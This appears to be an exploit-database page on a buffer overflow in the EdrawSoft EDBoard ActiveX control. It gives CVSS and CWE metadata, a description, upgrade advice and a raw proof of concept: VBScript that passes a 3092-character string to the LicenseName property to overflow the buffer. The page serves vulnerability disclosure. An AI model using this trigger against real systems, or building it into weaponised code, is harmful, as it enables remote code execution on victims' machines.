header-logo
Suggest Exploit
vendor:
EDBoard
by:
Senator of Pirates
9,3
CVSS
HIGH
Buffer Overflow
119
CWE
Product Name: EDBoard
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: edrawsoft.com/download/EDBoardSetup.exe
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows Xp SP3 EN
2020

Buffer Overflow Vulnerability in EDBoard

A buffer overflow vulnerability exists in EDBoard, a software developed by EdrawSoft. The vulnerability is caused due to a boundary error when handling the LicenseName argument of the Invoke_Unknown method of the EDBoard.ocx ActiveX control. By supplying a specially crafted argument, a remote attacker could overflow a buffer and execute arbitrary code on the system.

Mitigation:

Upgrade to the latest version of EDBoard.
Source

Exploit-DB raw data:

Author : Senator of Pirates

This exploit tested on Windows Xp SP3 EN

http://www.edrawsoft.com/download/EDBoardSetup.exe

--------------------------------------------------------------------------------------------------------

<object classid='clsid:6116A7EC-B914-4CCE-B186-66E0EE7067CF' id='target' />
<script language='vbscript'>

targetFile = "C:\Program Files\edboard\EDBoard.ocx"
prototype  = "Invoke_Unknown LicenseName As String"
memberName = "LicenseName"
progid     = "EDBoardLib.EDBoard"
argCount   = 1

arg1=String(3092, "A")

target.LicenseName = arg1

</script>

Navigation

Suggest Exploit

Services By CQR